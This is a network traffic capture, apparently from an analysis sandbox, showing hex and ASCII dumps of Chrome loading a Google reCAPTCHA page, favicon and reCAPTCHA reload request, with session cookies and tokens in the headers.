2024-03-15 12:59:11 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Mar 2024 12:59:11 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-BY9wueJDKLOTCPJqcKrimg' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:59:11 UTC	361	IN	Data Raw: 31 64 30 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 Data Ascii: 1d0d<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face
2024-03-15 12:59:11 UTC	1252	IN	Data Raw: 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f Data Ascii: to/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//
2024-03-15 12:59:11 UTC	1252	IN	Data Raw: 46 39 2c 20 55 2b 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c Data Ascii: F9, U+20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329,
2024-03-15 12:59:11 UTC	1252	IN	Data Raw: 39 30 2d 30 34 39 31 2c 20 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d Data Ascii: 90-0491, U+04B0-04B1, U+2116;}/* greek-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}
2024-03-15 12:59:11 UTC	1252	IN	Data Raw: 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 Data Ascii: */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA
2024-03-15 12:59:11 UTC	1252	IN	Data Raw: 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c Data Ascii: rl(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal
2024-03-15 12:59:11 UTC	824	IN	Data Raw: 2c 20 55 2b 46 45 46 46 2c 20 55 2b 46 46 46 44 3b 0a 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 42 59 39 77 75 65 4a 44 4b 4c 4f 54 43 50 4a 71 63 4b 72 69 6d 67 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 Data Ascii: , U+FEFF, U+FFFD;}</style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/styles__ltr.css"><script nonce="BY9wueJDKLOTCPJqcKrimg" type="text/javascript">window['__recaptcha_api'] = 'htt
2024-03-15 12:59:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.17	49803	142.250.65.228	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:12 UTC	867	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://smsfrica.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:59:12 UTC	706	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 15 Mar 2024 08:34:55 GMT Expires: Sat, 23 Mar 2024 08:34:55 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 15857 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:59:12 UTC	546	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-03-15 12:59:12 UTC	1252	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 a6 75 ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff 0b be fb ff 05 bc fb ff b6 ec fe ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 aa 7b ff ff ff ff ff fd fd fd f9 fd fd fd db ff ff ff ff 35 c9 fc ff 0a b2 f9 ff 6b a4 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea Data Ascii: BBBBBuBBBBB{5k7R8F2Vb5C
2024-03-15 12:59:12 UTC	1252	IN	Data Raw: de ee d8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 fe fe fe 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 24 fd fd fd ea ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff eb f5 e7 ff 8f c6 7b ff 54 a9 36 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 7e be 67 ff dd ee d7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 ff ff ff 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd d3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c4 e1 b9 ff 5c ac 3e ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 Data Ascii: /${T6S4S4S4S4S4S4S4S4S4~g"\>S4S4S4S4S4S4S4S4S4S4
2024-03-15 12:59:12 UTC	1252	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fa c8 aa ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBBBBBB}BBBBBBBBBBB}
2024-03-15 12:59:12 UTC	1128	IN	Data Raw: ff ff ff ff a0 a7 f5 ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 81 8a f2 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 0b fd fd fd d5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b5 ba f7 ff 3e 4b eb ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 3f 4c eb ff ba bf f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 26 fd fd fd eb ff ff ff Data Ascii: 5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C>K5C5C5C5C5C5C5C5C5C5C5C5C?L&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.17	49804	142.250.64.68	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:12 UTC	1155	OUT	POST /recaptcha/api2/reload?k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 7398 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-protobuffer Accept: / Origin: https://www.google.com X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:59:12 UTC	7398	OUT	Data Raw: 0a 18 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 12 a4 0f 30 33 41 46 63 57 65 41 34 51 79 6b 6e 30 76 54 59 5a 37 44 52 31 66 79 39 78 57 37 79 41 49 61 76 47 7a 46 76 78 4e 76 75 4a 65 41 33 5f 76 51 4e 6a 72 58 4f 5f 4d 76 54 51 62 61 39 52 6c 68 42 42 58 54 4e 56 66 41 54 73 32 74 2d 64 58 48 4d 69 50 47 5f 43 30 37 6d 64 39 64 56 46 70 47 69 61 56 62 37 58 48 76 61 6e 53 6e 59 66 76 64 6c 48 56 34 61 52 41 49 37 4f 56 64 6c 4e 53 6c 34 79 77 6c 4e 77 7a 53 4c 71 30 55 4e 51 4a 78 51 4e 42 34 7a 62 42 45 4e 69 38 48 4b 4c 39 6b 72 45 73 48 39 6f 34 61 67 45 51 64 43 34 6a 5f 4e 79 72 36 38 4c 43 56 47 59 5a 34 66 64 78 5a 4d 42 46 63 38 32 37 49 62 74 68 4c 58 32 58 41 61 49 58 55 6e 78 6b 39 31 6b 32 78 69 70 61 38 45 4f Data Ascii: 07g0mpPGukTo20VqKa8GbTSw03AFcWeA4Qykn0vTYZ7DR1fy9xW7yAIavGzFvxNvuJeA3_vQNjrXO_MvTQba9RlhBBXTNVfATs2t-dXHMiPG_C07md9dVFpGiaVb7XHvanSnYfvdlHV4aRAI7OVdlNSl4ywlNwzSLq0UNQJxQNB4zbBENi8HKL9krEsH9o4agEQdC4j_Nyr68LCVGYZ4fdxZMBFc827IbthLX2XAaIXUnxk91k2xipa8EO
2024-03-15 12:59:13 UTC	696	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Fri, 15 Mar 2024 12:59:13 GMT Expires: Fri, 15 Mar 2024 12:59:13 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: _GRECAPTCHA=09ANeNL0QmT5A5rIk26zNKYvWgMkqWcFi5YHZkNrRn8sYWbB8W0aEQg9DJpuTWJzWL0rtjM4FfO4nkXefuxCTqfiM;Path=/recaptcha;Expires=Wed, 11-Sep-2024 12:59:13 GMT;Secure;HttpOnly;Priority=HIGH;SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:59:13 UTC	556	IN	Data Raw: 32 33 39 0d 0a 29 5d 7d 27 0a 5b 22 72 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 35 68 50 4e 51 75 79 6e 47 42 61 72 63 67 53 6c 74 2d 45 62 46 66 46 44 71 33 32 32 36 34 4d 4d 6d 78 35 6f 36 65 71 75 50 66 68 6f 4e 35 38 7a 6c 50 39 6c 65 4f 75 58 54 36 65 35 51 43 42 6c 4a 77 66 35 36 69 6c 67 39 71 43 53 52 47 4d 73 56 57 70 7a 4d 51 41 37 42 46 34 43 6b 64 41 7a 65 42 4e 39 42 55 2d 6c 36 35 63 4c 41 43 6d 38 41 35 67 33 4e 43 71 70 61 35 4b 56 63 75 6b 49 78 56 33 4b 54 52 4b 78 73 36 66 64 4a 4d 77 42 68 57 42 70 76 5f 46 6c 6d 33 32 51 63 48 78 6b 79 58 4d 34 42 79 48 68 77 49 5a 35 74 71 46 73 64 4e 72 64 6f 4e 73 51 71 35 64 66 45 70 41 50 53 51 5f 64 42 6e 74 66 79 59 4e 69 55 69 7a 6e 6c 66 41 4b 41 47 46 6e 4a 57 39 63 4a 38 75 63 62 68 62 Data Ascii: 239)]}'["rresp","03AFcWeA5hPNQuynGBarcgSlt-EbFfFDq32264MMmx5o6equPfhoN58zlP9leOuXT6e5QCBlJwf56ilg9qCSRGMsVWpzMQA7BF4CkdAzeBN9BU-l65cLACm8A5g3NCqpa5KVcukIxV3KTRKxs6fdJMwBhWBpv_Flm32QcHxkyXM4ByHhwIZ5tqFsdNrdoNsQq5dfEpAPSQ_dBntfyYNiUiznlfAKAGFnJW9cJ8ucbhb
2024-03-15 12:59:13 UTC	20	IN	Data Raw: 58 4c 38 74 6c 42 31 4f 70 6b 66 6d 6d 72 63 31 55 57 0d 0a Data Ascii: XL8tlB1Opkfmmrc1UW
2024-03-15 12:59:13 UTC	1252	IN	Data Raw: 61 33 37 0d 0a 43 34 70 4a 38 56 6e 6d 64 63 69 55 4b 43 5f 4a 4a 6b 34 38 65 43 32 4b 35 6a 5f 63 6e 6d 66 45 5f 42 4d 2d 6c 6f 2d 73 77 49 31 34 6d 66 7a 53 63 77 6f 37 75 6d 74 42 4c 5a 32 62 47 56 35 50 75 4d 57 71 36 49 62 64 51 75 69 52 68 34 54 65 52 46 5f 4b 46 59 68 63 30 76 50 6d 76 56 64 62 76 41 57 33 56 58 5f 34 6d 37 34 62 53 36 47 72 52 69 48 4b 65 38 62 39 42 47 32 6c 75 71 39 7a 36 31 6a 51 4c 55 75 44 66 51 64 51 50 76 50 62 6a 48 4d 50 50 6e 58 79 61 78 63 32 54 31 58 79 43 75 7a 48 48 62 42 6f 68 44 59 5a 67 59 4e 54 69 64 32 6f 75 7a 6d 33 49 36 4a 6d 38 48 51 7a 4d 63 65 42 37 63 34 2d 4b 2d 7a 55 32 70 53 54 78 55 5f 6d 4a 67 53 4d 52 59 50 59 6f 44 4a 73 49 35 71 71 46 37 6a 42 69 53 38 74 5f 44 50 7a 53 55 4e 61 52 49 4c 55 47 32 Data Ascii: a37C4pJ8VnmdciUKC_JJk48eC2K5j_cnmfE_BM-lo-swI14mfzScwo7umtBLZ2bGV5PuMWq6IbdQuiRh4TeRF_KFYhc0vPmvVdbvAW3VX_4m74bS6GrRiHKe8b9BG2luq9z61jQLUuDfQdQPvPbjHMPPnXyaxc2T1XyCuzHHbBohDYZgYNTid2ouzm3I6Jm8HQzMceB7c4-K-zU2pSTxU_mJgSMRYPYoDJsI5qqF7jBiS8t_DPzSUNaRILUG2
2024-03-15 12:59:13 UTC	1252	IN	Data Raw: 4d 70 32 41 64 54 75 6e 4c 79 78 50 57 62 63 46 70 4d 5f 4d 67 63 78 6e 39 35 49 78 44 51 30 62 43 54 50 5f 72 41 33 5a 76 76 6f 55 4c 32 50 5f 41 65 61 4f 5a 31 62 79 37 5a 49 41 51 4e 72 76 47 35 42 77 41 4c 76 36 69 62 36 71 39 36 58 58 32 4e 59 4e 38 49 73 48 66 7a 30 71 54 31 32 5a 66 59 50 59 2d 50 69 75 79 52 63 72 4d 73 33 72 52 56 51 58 6c 45 6b 68 6b 52 45 67 47 63 36 72 38 44 6e 58 64 71 36 54 5f 77 56 38 6b 74 62 69 45 67 63 43 4c 33 39 64 32 78 7a 4e 4b 55 34 6a 6f 44 6c 63 65 74 56 33 55 43 6c 46 44 64 76 73 33 38 49 69 75 6d 75 5f 34 41 63 49 48 6c 4f 58 56 78 48 79 7a 76 67 35 6e 31 37 6b 2d 6c 6e 5a 7a 33 56 62 4e 63 46 32 61 52 72 64 44 6b 43 31 73 43 46 4a 63 72 45 62 4a 39 78 75 51 6c 34 31 63 6a 55 36 58 63 53 4f 6f 35 32 55 4e 38 73 Data Ascii: 